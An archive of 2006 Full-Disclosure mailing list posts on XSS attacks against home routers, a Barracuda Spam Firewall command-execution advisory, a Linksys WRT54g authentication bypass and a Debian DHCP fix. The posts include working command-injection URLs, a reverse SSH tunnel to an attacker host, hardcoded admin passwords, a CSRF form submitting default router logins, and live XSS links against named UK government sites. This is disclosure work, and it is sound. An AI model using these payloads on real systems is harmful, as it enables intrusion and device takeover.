Re: [Full-disclosure] Attacking the local LAN via XSS
On Fri, Aug 04, 2006 at 12:35:48AM +0100, pdp (architect) wrote: For that purpose three prerequisites are needed: 1. page that is controlled by the attacker, lets call it evil.com 2. border router vulnerable to XSS do you need javascript in all cases? unless you badly need http POST, doing blind img src=http://ip/cgi-bin/readmailreallyfast, iframe src=, may have interesting side effects. -- where do you want bill gates to go today? EOM ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
pdp (architect) wrote: 2. border router vulnerable to XSS Main lessons to be learned: * The border still exists, but is only important for QoS purposes. * Do not manage routers via http Schanulleke. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Yahoo messenger file extension spoof vulnerability
Hi, i discover a possible file name extension spoofing in yahoo messenger 8.0.0.863 (lastest),obviously this requires that the option "Hide extension for known file types" is enabled in Windows, you need to send a file with this name for example: Annakournikova and her friends.jpg.exe or Trojan.txt.exe Info.txt.exe The characters hide the extension. Preguntá. Respondé. Descubrí. Todo lo que querías saber, y lo que ni imaginabas, está en Yahoo! Respuestas (Beta). Probalo ya! ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
this is a url that carries an XSS attack http://192.168.0.1/criptbla/script On 8/4/06, Peter Dawson [EMAIL PROTECTED] wrote: interesting..but forgive my ignorance can you further articulate ...a URL that will exploit the XSS flow in the border router in a broader context ?? On 8/3/06, pdp (architect) [EMAIL PROTECTED] wrote: this is my humble opinion http://www.gnucitizen.org/blog/xssing-the-lan I didn't go to BlackHat but since a lot of people are getting really interested in XSS attacks, right now when it is sort of blooming, I will try to put in theory how border routers/gateways can be trivially compromised (over the web). For that purpose three prerequisites are needed: 1. page that is controlled by the attacker, lets call it evil.com 2. border router vulnerable to XSS 3. user attending evil.com Once the user attends evil.com malicious JavaScript code executes and tries to figure out what machines are alive on local LAN and where the border router is located. This is usually achieved in a similar way the JavaScript port scanner works. Once the router is identified, the malicious script needs to figure out the software version. This is not quite trivial task since most modern browsers have cross domain restrictions which means that fancy Ajax techniques such as the XmlHttpRequest object wont work. The attack vector explained by SPI Dynamics though, should work on all browsers. For that purpose the malicious JavaScript fires several requests against the router looking for common image files. Different types of routers have different images, so, obviously this is a way of identifying the server software. Depending on the results collected by the scanning process, an already published XSS flow is flagged. This XSS flow is used by the malicious JavaScript to propagate its logic to the border router domain. This step is crucial since modern browsers wont allow you to perform cross domain requests unless a forth prerequisite is introduced – the buggy browser. Anyway, the malicious JavaScript creates an invisible iframe inside evil.com that carries the attack. The iframe src (source) attribute contains a URL that will exploit the XSS flow in the border router. Since the code is executed of the border router domain, no cross domain restrictions are applied. This means that the malicious logic can be constructed out of XMLHttpRequest objects which provide greater control on the input and the output. At the final stage the logic transported by the border router XSS flow performs login and retrieves the user credentials which are submitted to a remote resource that is controlled by the attacker. However, in corporate environments the attacker might wish to put down the security level of the exploited device and open a worm hole. It is quite simple and it is less complicated then it sounds. -- pdp (architect) http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- http://peterdawson.typepad.com PeterDawson Home of ThoughtFlickr's This message is printed on Recycled Electrons. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pdp (architect) http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
Yo. Schanulleke wrote: pdp (architect) wrote: 2. border router vulnerable to XSS Main lessons to be learned: * The border still exists, but is only important for QoS purposes. * Do not manage routers via http I just know someone is contemplating a javascript snmp client as I write this message. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] XSS funtime
No dude, XSS random sites is just lame. There is no competition, this kinda shit belongs on http://www.elitehackers.info. Not a SecList. Especially http://disabilitydatabase.mla.gov.uk, have you no shame? Ed From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of codeslagSent: 03 August 2006 23:09To: full-disclosure@lists.grok.org.ukSubject: [Full-disclosure] XSS funtime http://disabilitydatabase.mla.gov.uk/index.asp?startrow=1action="" http://www.audit-commission.gov.uk/search/search_result.asp?txtSearchKeywords=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E http://www.salford.gov.uk/search.htm?col=justhtmlqt=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E3E http://www.ealing.gov.uk/search.jsp?query=%3Cimg+src%3D%22http%3A%2F%2F0xdeadface.co.uk%2Frichard.jpg%22%2F%3EgoButton=Searchindex=all http://www.successforall.gov.uk/index.cfm?pg=61q=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E Does this mean I win the XSS contest? After all i have h40r3d t3h g1bs0n!!11hugs kisses dyn0/codeslag ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 1143-1] New dhcp packages fix denial of service
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 1143-1[EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze August 4th, 2006http://www.debian.org/security/faq - -- Package: dhcp Vulnerability : programming error Problem type : remote Debian-specific: no CVE ID : CVE-2006-3122 Debian Bug : 380273 Justin Winschief and Andrew Steets discovered a bug in dhcp, the DHCP server for automatic IP address assignment, which causes the server to unexpectedly exit. For the stable distribution (sarge) this problem has been fixed in version 2.0pl5-19.1sarge2. For the unstable distribution (sid) this problem will be fixed soon. We recommend that you upgrade your dhcp package. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given at the end of this advisory: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - Source archives: http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5-19.1sarge2.dsc Size/MD5 checksum: 687 f73fef2e9996c07f813e8b44cf058fed http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5-19.1sarge2.diff.gz Size/MD5 checksum:86660 931619c25909dde0f8278502d089a509 http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5.orig.tar.gz Size/MD5 checksum: 294909 ab22f363a7aff924e2cc9d1019a21498 Alpha architecture: http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5-19.1sarge2_alpha.deb Size/MD5 checksum: 123178 1d36fdc0bdee24e63ddd68290de55d42 http://security.debian.org/pool/updates/main/d/dhcp/dhcp-client_2.0pl5-19.1sarge2_alpha.deb Size/MD5 checksum: 115486 bf17b3f6d1d23a4f24f63dc8dee47c4f http://security.debian.org/pool/updates/main/d/dhcp/dhcp-relay_2.0pl5-19.1sarge2_alpha.deb Size/MD5 checksum:80526 c23b5a983212426881e79e42abb08103 AMD64 architecture: http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5-19.1sarge2_amd64.deb Size/MD5 checksum: 116010 53d3be3b942892ff1a0cc641152a7c0b http://security.debian.org/pool/updates/main/d/dhcp/dhcp-client_2.0pl5-19.1sarge2_amd64.deb Size/MD5 checksum: 108676 99eaef8f0c56b81b28e09bf2040dbfe5 http://security.debian.org/pool/updates/main/d/dhcp/dhcp-relay_2.0pl5-19.1sarge2_amd64.deb Size/MD5 checksum:75952 170a4701d80b295679e605cfc56fb955 ARM architecture: http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5-19.1sarge2_arm.deb Size/MD5 checksum: 114428 e220cadbd5250f55e7a88a8df95ea487 http://security.debian.org/pool/updates/main/d/dhcp/dhcp-client_2.0pl5-19.1sarge2_arm.deb Size/MD5 checksum: 107212 3a73115a056708b9a6190cbda179ce18 http://security.debian.org/pool/updates/main/d/dhcp/dhcp-relay_2.0pl5-19.1sarge2_arm.deb Size/MD5 checksum:74422 fdfdb05b69c11736c16a6aea1d8c0aa4 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5-19.1sarge2_i386.deb Size/MD5 checksum: 109440 ca711b93042d11f8b5c853c3f648242a http://security.debian.org/pool/updates/main/d/dhcp/dhcp-client_2.0pl5-19.1sarge2_i386.deb Size/MD5 checksum: 102220 558d78e22d1f4f909b718c46baa09cc4 http://security.debian.org/pool/updates/main/d/dhcp/dhcp-relay_2.0pl5-19.1sarge2_i386.deb Size/MD5 checksum:71330 6d5c42ff7f481df025b687b3969a6c25 Intel IA-64 architecture: http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5-19.1sarge2_ia64.deb Size/MD5 checksum: 144842 fe2d7f0eb45fba721e616f25dcdf29bb http://security.debian.org/pool/updates/main/d/dhcp/dhcp-client_2.0pl5-19.1sarge2_ia64.deb Size/MD5 checksum: 136910 2ab43f384602792ae905ed00ee0b3465 http://security.debian.org/pool/updates/main/d/dhcp/dhcp-relay_2.0pl5-19.1sarge2_ia64.deb Size/MD5 checksum:92922 c87307ed1d553b3309c9d8f5b9a71783 HP Precision architecture: http://security.debian.org/pool/updates/main/d/dhcp/dhcp_2.0pl5-19.1sarge2_hppa.deb Size/MD5 checksum: 116134 49852e02e42adb6ad7acdee24c31 http://security.debian.org/pool/updates/main/d/dhcp/dhcp-client_2.0pl5-19.1sarge2_hppa.deb Size/MD5 checksum: 109042 6c117a4f8bb1cb0cf74f3e92baaf20e1 http://security.debian.org/pool/updates/main/d/dhcp/dhcp-relay_2.0pl5-19.1sarge2_hppa.deb Size/MD5 checksum:
Re: [Full-disclosure] Attacking the local LAN via XSS
In most cases JavaScript is required. Flash 7 has the flexibility to perform cross domain requests, however this is fixed in Flash 8. Java Object are quite the same in that respect. Of course, in certain situations it might be possible to trick the browser. The proposed scenario takes advantage of the fact the Internal device is vulnerable to XSS attack. In this case all the attacker needs to do is to make an iframe call to the vulnerable URL in order to inject JavaScript code withing the device domain. When this is achieved the browser happily will allow you to make XmlHttpRequests. In the Ajax world this is the most well proven technology. Both POST and GET are allowed. Performing PUT, HEAD, DELETE and other server methods are possible as well. All the attacker needs to do is to perform iframe call to the vulnerable to XSS url that will embed Java Object which will perform the desired operations. More sophisticated attack vectors are also possible (tcp, udp, icmp scanning, sockets, etc...). In case the current browser has outdated Flash plugin, the malicious site can perform the desired attack without the need of the internal device being vulnerable to XSS. However this will work in very closed environments because most of the time plugin updates are enforced on regular basis. In case sensitive information needs to be transferred from the local LAN to a remote collection point a few other methods can be employed. A Flash object can store a lot of information by using the AJAX MAssive Storage System (AMASS) technique http://codinginparadise.org/projects/storage/README.html. When the storage reach a critical mass (99K) the content can be automatically dumped at the remote collection point via POST. All this can be achieved from Flash (all versions). Of course the remote collection point needs to have crossdomain.xml file located in the document root to allow cross domain requests in case the Flash plugin is in its latest version. All of these checks can be performed at runtime. The attacker can detect what version of Flash is currently used and whether Java is enabled. Based on that the best attack vector will be selected. Moreover, this can be trivially achieved by using well known AJAX based libraries. On 8/4/06, Georgi Guninski [EMAIL PROTECTED] wrote: On Fri, Aug 04, 2006 at 12:35:48AM +0100, pdp (architect) wrote: For that purpose three prerequisites are needed: 1. page that is controlled by the attacker, lets call it evil.com 2. border router vulnerable to XSS do you need javascript in all cases? unless you badly need http POST, doing blind img src=http://ip/cgi-bin/readmailreallyfast, iframe src=, may have interesting side effects. -- where do you want bill gates to go today? EOM -- pdp (architect) http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
Did not attend BlackHet either however I doubt this is the attack vector. 2. border router vulnerable to XSS Just as fingerprinting normal web servers, the web server used for router HTTP management can be fingerprinted, hence the router vendor itself. Use well known default username/password combination and few automatic POSTS via javascript/AJAX to hack the router and add the route you want. Just a thought. ZQ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
Dear pdp (architect), pa xecuted of the border router domain I'd like to see a border router serving images on port 80 ??? Doesn't make sense, really ;) No pun intented. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Barracuda Spam Firewall: Administrator Level Remote Command Execution [ID-20060804-01]
Severity:High - Full system compromise possible Date:04 August 2006 Discovered by: Matthew Hall ([EMAIL PROTECTED]) (Credits for original discovery to Greg Sinclair) Discovered on: 03 Aug 2006 Summary: Lack of input sanitisation in the Linux based Barracuda spam firewall web interface allows execution of commands by unauthenticated users. Combined with priviledge elevation techniques, execution of commands as the root user is possible allowing a full system compromise. Details: In a follow-up investigation to bid 19276 - 'Barracuda Vulnerability: Arbitrary File Disclosure [NNL-20060801-02]' by Greg Sinclair, further investigation was performed by the Internet Defence Security Team and several extra vulnerabilities were discovered, which when leveraged with privilege escalation techniques allowed the remote execution of commands as the root user without any authentication. The original discovery by Greg Sinclair showed that it was possible to open arbitrary files, either owned by the user/group 'nobody:nogroup' or with world-read access, through the web interface using a path sanitation vulnerability in preview_email.cgi, e.g: https://deviceIP/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp Access to the path '/cgi-bin/preview_email.cgi' does not require any authentication. Using this vulnerability, it is also possible to use the pipe character (|) to redirect the stdout of any programs run, to the stdin of the file open function to print the output of the command back to the web interface, e.g: https://deviceIP/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20-la%20/| It was then possible to leverage further privileges, as the user the http daemon runs as (nobody), is granted root level access to several system commands via the use of sudo, e.g: https://deviceIP/cgi-bin/preview_email.cgi?file=/mail/mlog/../../usr/bin/sudo%20touch%20/foo| (Repeating the previous command should then show that the file 'foo' has been created with root permissions in '/'). The commands allowed (this is not a canonical list) include: mkdir, mv, cp, kill, ls, ln, chown, chmod, rm, echo, cat (aswell as access to several 'wrapper' scripts in /home/emailswitch/code/firmware/current/bin/) Access to such commands as a chown and chmod allowed further privilege escalation by setting the 'suid' bit on several other system programs, which could then be executed through the webinterface, without the use of sudo, and would run with root priviledges. As such, a complete system compromise is possible remotely through the web interface without any authentication. It was also noted in bid 19276 - 'Barracuda Vulnerability: Hardcoded Password [NNL-20060801-01]' a hardcoded 'guest' user password existed, which was 'bnadmin99'. During further investigation it was noted that there was also a hard-coded 'admin' user password (this is the admin user for the web interface), which is only possible to use if the httpd environment variable 'REMOTE_ADDR' equals '127.0.0.1'. If this case is true, then it is possible to login to the web interface as the admin user using the password 'adminbn99'. In order to gain elevated privileges to login to the web interface as the admin user, it is possible to bind a reverse ssh shell which would eventually satisfy the 'remote_addr == localhost' check. It was possible to expose the ssh rsa public key, which then could be copied to a users' '.ssh/authorized_keys2' on a local machine, e.g: https://deviceIP/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/cat%20/home/emailswitch/code/config/id_rsa.pub| With the public key in the authorized_keys2 file, it was then possible to initiate the reverse shell from the web interface, e.g: https://deviceip/cgi-bin/preview_email.cgi?file=/mail/mlog/../../usr/bin/ssh%20-T%20-i%20/home/emailswitch/code/config/id_rsa%20-R%208080:localhost:443%20youruser@youripaddress| It was them possible to login to 'https://127.0.0.1:8080/' with the username of 'admin' and password of 'adminbn99' and manage the device as an administrator. It was noted that the original file input sanitation vulnerability seems to have been 'silently' fixed by Barracuda Networks (as of 11pm GMT 03/08/06), which mitigates the attacks above. So far, no advisories or update notices can be found on their website, and the version numbers of the affected software remains the same. Recommendations: We agree with Greg Sinclair's statement that the web interface should never be made accessible from untrusted networks like the Internet. The web interface on the Barracuda Spam Firewall has a history of similar issues, so we believe that it is highly likely that more vulnerabilities will be found in the future. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
you are right but not completely... :) HTTP PORT is not possible on domain different from the current domain, unless browser hacks is employed. regards On 8/4/06, Zed Qyves [EMAIL PROTECTED] wrote: Did not attend BlackHet either however I doubt this is the attack vector. 2. border router vulnerable to XSS Just as fingerprinting normal web servers, the web server used for router HTTP management can be fingerprinted, hence the router vendor itself. Use well known default username/password combination and few automatic POSTS via javascript/AJAX to hack the router and add the route you want. Just a thought. ZQ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pdp (architect) http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
;) absolutely no worries mate, maybe I wasn't clear enough... I was referring to home routers. In general I am talking about devices that have http or https communication channels. This is because of JavaScript's limitations. Although, by using Java you can do all sorts of other stuff. regards BTW, there are quite a lot cisco devices that have http open on local LAN vulnerable to IOS HTTP Authorization Vulnerability. It has been always a matter of security vs. accessibility. This is way weak On 8/4/06, Thierry Zoller [EMAIL PROTECTED] wrote: Dear pdp (architect), pa xecuted of the border router domain I'd like to see a border router serving images on port 80 ??? Doesn't make sense, really ;) No pun intented. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 -- pdp (architect) http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
pdp (architect) wrote: HTTP PORT is not possible on domain different from the current domain, unless browser hacks is employed. I'm guessing you mean HTTP POST :) You can definitely POST any FORM to a third party domain without hacks just by calling the submit() method of your FORM which targets a hidden iframe. e.g. iframe style=display:none id=thirdparty name=thirdparty/iframe form name=myform action=http://whatever.com/foo.bar; method=POST target=thirdparty input type=text name=username value=r00t input type=text name=password value=default router password /form scriptdocument.myform.submit()/script The sequence of events would be to 1) Identify the router, 2) POST a login request with known default logins and 3) POST a change request to e.g. disable security settings or open a trust relationship. The only time consuming part is gathering router identification traits and tailoring login and change requests to specific router vendors. -- Thor Larholm ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re[2]: [Full-disclosure] Attacking the local LAN via XSS
Dear pdp (architect), pa BTW, there are quite a lot cisco devices that have http open on local pa LAN vulnerable to IOS HTTP Authorization Vulnerability. That's my point, I have done an ehaustive amount of pentest, I have never come accross a router with accessible HTTP port. Maybe that's related to the nature of the networks though. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Attacking the local LAN via XSS
this is a very good point. :) cheers for that then the problem is not actually sending a HTTP POST request but getting the result from it or even modifying the headers. None of the modern browsers allows you to read the iframe source. Well, actually it is more likely to get thins working on IE6... on the other hand, most devices have some sort of authentication mechanism... most likely HTTP Basic Auth... that needs to go to the headers of the request and it is not possible to perform it HTML forms unless unless you are using the XmlHttpRequest object from JavaScript. thx On 8/4/06, Thor Larholm [EMAIL PROTECTED] wrote: pdp (architect) wrote: HTTP PORT is not possible on domain different from the current domain, unless browser hacks is employed. I'm guessing you mean HTTP POST :) You can definitely POST any FORM to a third party domain without hacks just by calling the submit() method of your FORM which targets a hidden iframe. e.g. iframe style=display:none id=thirdparty name=thirdparty/iframe form name=myform action=http://whatever.com/foo.bar; method=POST target=thirdparty input type=text name=username value=r00t input type=text name=password value=default router password /form scriptdocument.myform.submit()/script The sequence of events would be to 1) Identify the router, 2) POST a login request with known default logins and 3) POST a change request to e.g. disable security settings or open a trust relationship. The only time consuming part is gathering router identification traits and tailoring login and change requests to specific router vendors. -- Thor Larholm -- pdp (architect) http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: Re[2]: [Full-disclosure] Attacking the local LAN via XSS
I agree with you. Sometimes routers do not have http enabled although I believe that most administrators enable this service to perform easy/remote administration tasks. However, it is quite common to find http enabled devices. :) printers, wireless printers, cameras... you name it. Attacking these devices is not that severe as attacking the border router however, if the attacker is able to misconfigure one or more of these devices some bad things can happen (DoS, etc). IMHO, if you want to do stuff on lower level, you need to think of something else. JavaScript, Flash and Java Applets are technologies that are designed to run on the WEB. This is why, IMHO, they are quite good platform for performing WEB/HTTP based attacks. cheers On 8/4/06, Thierry Zoller [EMAIL PROTECTED] wrote: Dear pdp (architect), pa BTW, there are quite a lot cisco devices that have http open on local pa LAN vulnerable to IOS HTTP Authorization Vulnerability. That's my point, I have done an ehaustive amount of pentest, I have never come accross a router with accessible HTTP port. Maybe that's related to the nature of the networks though. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 -- pdp (architect) http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] ProtectFly/RegisterFly - Whois information - Non-Disclosure legal??
Hi, I recently noticed some spam comments to my blog. Upon looking at the link they were linking back to it is an aggregation of various people RSS from their blogs. Upon examining the domains and their whois info they all appear to be registered with ProtectFly. Their whois information does not give out the contact details of the domain owner. Some random looking email address, that I guess might forward back to the real owner. Is this non-disclosure of the contact details legal? Am I missing some method to find the correct info? Example:- [EMAIL PROTECTED] ~ $ whois nags-head-real-estate.info Domain ID:D13743171-LRMS Domain Name:NAGS-HEAD-REAL-ESTATE.INFO Created On:10-Jun-2006 02:42:27 UTC Last Updated On:22-Jun-2006 07:15:54 UTC Expiration Date:10-Jun-2007 02:42:27 UTC Sponsoring Registrar:RegisterFly.com, Inc. (R318-LRMS) Status:CLIENT TRANSFER PROHIBITED Status:CLIENT UPDATE PROHIBITED Status:TRANSFER PROHIBITED Registrant ID:tuxfIgCP2SraElSj Registrant Name:Whois Protection Service - ProtectFly.com Registrant Organization:RegisterFly.com - Ref-R# 37871268 Registrant Street1:404 Main Street Registrant Street2:4th Floor Registrant Street3: Registrant City:Boonton Registrant State/Province:NJ Registrant Postal Code:07005 Registrant Country:US Registrant Phone:+1.9737362545 Registrant Phone Ext.: Registrant FAX:+1.9737361355 Registrant FAX Ext.: Registrant Email:[EMAIL PROTECTED] Admin ID:tu0yrgMvIcEJ2aIH Admin Name:Whois Protection Service - ProtectFly.com Admin Organization:RegisterFly.com - Ref-A# 37871268 Admin Street1:404 Main Street Admin Street2:4th Floor Admin Street3: Admin City:Boonton Admin State/Province:NJ Admin Postal Code:07005 Admin Country:US Admin Phone:+1.9737362545 Admin Phone Ext.: Admin FAX:+1.9737361355 Admin FAX Ext.: Admin Email:[EMAIL PROTECTED] Billing ID:tuI0AzeEf97LKzMo Billing Name:Whois Protection Service - ProtectFly.com Billing Organization:RegisterFly.com - Ref-B# 37871268 Billing Street1:404 Main Street Billing Street2:4th Floor Billing Street3: Billing City:Boonton Billing State/Province:NJ Billing Postal Code:07005 Billing Country:US Billing Phone:+1.9737362545 Billing Phone Ext.: Billing FAX:+1.9737361355 Billing FAX Ext.: Billing Email:[EMAIL PROTECTED] Tech ID:tuTOQTTrtOUs5GAS Tech Name:Whois Protection Service - ProtectFly.com Tech Organization:RegisterFly.com - Ref-T# 37871268 Tech Street1:404 Main Street Tech Street2:4th Floor Tech Street3: Tech City:Boonton Tech State/Province:NJ Tech Postal Code:07005 Tech Country:US Tech Phone:+1.9737362545 Tech Phone Ext.: Tech FAX:+1.9737361355 Tech FAX Ext.: Tech Email:[EMAIL PROTECTED] Name Server:DNS1.REGISTERFLY.COM Name Server:DNS2.REGISTERFLY.COM Cheers, DanB. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Gmail emails issue
Hi All, Gmail stores mails in Temp folder for faster access.but i have observer it fails toremove mail from the temp files after the session is ended. any user who has access physical access to the system can read mail and contact information of the Gmail user. Discloses information which is private and confidential? thank you ratna ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] ProtectFly/RegisterFly - Whois information - Non-Disclosure legal??
Dear Dan B, Yes and no, this is going on for years now. You can try to report them to ICANN I found a special website where you can submit domain names with false information. As far as I know (!) this is being tolerated. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Nice Wordlist - Google
Dear List , http://googleresearch.blogspot.com/2006/08/all-our-n-gram-are-belong-to-you.html -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 4813 c403 58f1 1200 7189 a000 7cf1 1200 9f89 a000 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re[2]: [Full-disclosure] ProtectFly/RegisterFly - Whois information - Non-Disclosure legal??
TZ Yes and no, this is going on for years now. You can try to report them TZ to ICANN I found a special website where you can submit domain names Sorry not ICANN, I meant to say Internic : http://wdprs.internic.net/ -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] linksys WRT54g authentication bypass
I'm having some trouble believing this hasn't been reported before. If you have a linksys router handy, please check to see whether it is vulnerable to this attack. It's possible that all of the linksys router web UIs have the same bug. Hopefully the problem is isolated to one particular model or firmware revision. I. DESCRIPTION Tested product: Linksys WRT54g home router, firmware revision 1.00.9. Problem #1: No password validation for configuration settings. The WRT54g does not attempt to verify a username and password when configuration settings are being changed. If you wish to read configuration settings, you must provide the administrator ID and password via HTTP basic authentication. No similar check is done for configuration changes. This request results in a user-id and password prompt: GET /wireless.htm This request disables wireless security on the router, with no password prompt: POST /Security.tri Content-Length: 24 SecurityMode=0layout=en Problem #2: Cross-site request forgery The web administration console does not verify that the request to change the router configuration is being made with the consent of the administrator. Any web site can force a browser to send a request to the linksys router, and the router will accept the request. II. Exploitation The combination of these two bugs means that any internet web site can change the configuration of your router. Recently published techniques for port-scanning and web server finger printing via java and javascript make this even easier. The attack scenario is as follows: - intranet user visits a malicious web site - malicious web site returns specially crafted HTML page - intranet user's browser automatically sends a request to the router that enables the remote administration interface - the owner of the malicious web site now has complete access to your router I'm not going to share the specially crafted HTML page at this time, but it isn't all that special. III. DETECTION If your router is vulnerable, the following curl command will disable wireless security on your router. Tests for other router models and firmware revisions may be different: curl -d SecurityMode=0layout=en http://192.168.0.1/Security.tri IV. MITIGATION 1) Make sure you've disabled the remote administration feature of your router. If you have this feature enabled, anybody on the internet can take control of the router. 2) Change the IP address of the router to a random value, preferably in the range assigned to private networks. For example, change the IP address to 10.x.y.z, where x, y, and z are numbers between 0 and 255 inclusive. This makes it more difficult for an attacker to forge the request necessary to change the router configuration. This mitigation technique might not help much if you have a java-enabled browser, because of recently published techniques for determining gateway addresses via java applets. 3) Disable HTTP access to the administration interface of the router, allowing only HTTPS access. Under most circumstances, this will cause the browser to show a certificate warning before the configuration is changed. V. VENDOR NOTIFICATION Linksys customer support was notified on June 24, 2006. Full disclosure on August 4, 2006. -- GR _ Is your PC infected? Get a FREE online computer virus scan from McAfee® Security. http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Gmail emails issue
